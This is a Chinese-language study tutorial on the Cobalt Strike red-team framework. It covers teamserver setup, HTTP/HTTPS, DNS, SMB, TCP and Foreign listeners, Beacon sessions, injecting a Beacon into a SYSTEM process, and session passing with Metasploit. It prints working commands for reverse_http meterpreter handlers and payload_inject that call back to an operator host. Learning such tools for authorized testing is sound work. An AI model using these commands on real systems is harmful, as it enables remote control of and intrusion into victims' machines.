Cobalt Strike使用学习

基本使用

Cobalt Strike使用C/S架构,Cobalt Strike的客户端连接到团队服务器,团队服务器连接到目标,也就是说Cobalt Strike的客户端不与目标服务器进行交互。

启动服务端

服务端一般设在公网ip的服务器上

1
2
# ./teamserver your_ip your_passowrd [config_file]
./teamserver 192.168.31.118 123456

启动客户端

1
./cobaltstrike   

输入刚才设置的ip和密码

连接多个服务端

直接新建配置即可

监听器

监听器就是等待被入侵系统连接自己的一个服务。要是为了接受payload回传的各类数据,类似于MSF中handler的作用。比如payload在目标机器执行以后,就会回连到监听器然后下载执行真正的shellcode代码。

Beacon

  • Beacon是CS的payload,和msf中的meterpreter一样
  • Beacon有两种通信模式。一种是异步通信模式,这种模式通信效率缓慢,Beacon回连团队服务器、下载任务、然后休眠;另一种是交互式通信模式,这种模式的通信是实时发生的。
  • 通过HTTP、HTTPS和DNS出口网络
  • 使用SMB协议的时候是点对点通信

HTTP和HTTPS Beacon

  • HTTP 和 HTTPS Beacon HTTP和HTTPS Beacon也可以叫做Web Beacon。默认设置情况下,HTTP 和 HTTPS Beacon 通过 HTTP GET 请求来下载任务。这些 Beacon 通过 HTTP POST 请求传回数据。
1
2
windows/beacon_http/reverse_http
windows/beacon_https/reverse_https

测试一下http监听器,用刚才的监听器生成一个钓鱼链接

将生成的payload放入windows中运行

成功上线cs

HTTPS和HTTP一样,不同的是HTTPS需要一个SSL证书具体如何配置可以参考:https://www.cobaltstrike.com/help-malleable-c2#validssl

DNS Beacon

DNS Beacon,顾名思义就是使用DNS请求将Beacon返回。这些 DNS 请求用于解析由你的 CS 团队服务器作为权威 DNS 服务器的域名。DNS 响应告诉 Beacon 休眠或是连接到团队服务器来下载任务。DNS 响应也告诉 Beacon 如何从你的团队服务器下载任务。

因为没有多余的域名,所以不演示

SMB Beacon

SMB Beacon 使用命名管道通过一个父 Beacon 进行通信。这种对等通信对同一台主机上的 Beacon 和跨网络的 Beacon 都有效。Windows 将命名管道通信封装在 SMB 协议中。因此得名 SMB Beacon。此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效(系统防火墙默认是允许445的端口与外界通信的,其他端口可能会弹窗提醒,会导致远程命令行反弹shell失败)。

SMB Beacon监听器对“提升权限”和“横向渗透”中很有用。

img

新建SMB监听器

派生会话到SMB监听器

右键->新建会话->选择smb监听器 或者使用命令

1
spawn SMB

等待一会,就可以看到SMB Beacon,在external可以看到∞∞字符

此时SMB Beacon通过父级的HTTP Beacon与CS服务器进行通信,而SMB Beacon与HTTP Beacon通过SMB协议进行通信。

将SMB Beacon插入系统进程

注入到system权限的系统进程,返回的会话则是system权限,管理器权限带*👌🏻

此时如果想断开某个会话的连接,可以使用unlink命令,比如如果想断开192.168.175.144,就可以在Beacon中输入unlink 10.10.10.80

如果想再次连上,就直接输入link 10.10.10.80,想从当前主机连到其他主机也可以使用此命令。

在进程中注入SMB Beacon后,便能看到process为vmtoolsed.exe的派生SMB Beacon。

TCP Beacon

TCP Beacon与SMB Beacon类似,区别在于这里使用的是TCP协议与父级Beacon进行通信,使用这种方式上线时流量是不加密的。

新建TCP Beacon

使用方法和上面一致

Foreign Beacon

使用Cobalt Strike外部监听器可以派生给msf的meterpreter会话,这里有Foreign HTTP和Foreign HTTPS两种监听器,其中Foreign HTTPS的流量是加密的。

msf先起一个监听,msf的payload只能使用http方式,因为cs的监听器只支持http和https

1
2
3
4
5
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_http
set LHOST 192.168.31.118
set LPORT 4444
run

CS配置一个Foreign HTTP,要与msf的端口、ip、payload一致

spawn msf 派生给msf,msf会收到会话

不知道为什么没有复现成功

msf派生会话给cs

生成监听器

msf派生会话

1
2
3
4
5
6
7
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true #默认情况下,payload_inject执行之后会在本地产生一个新的handler,由于我们已经有了一个,所以不需要在产生一个,所以这里我们设置为true
set lhost x.x.x.x #cobaltstrike监听的ip
set lport 6789 #cobaltstrike监听的端口
set session 1 #这里是获得的session的id
exploit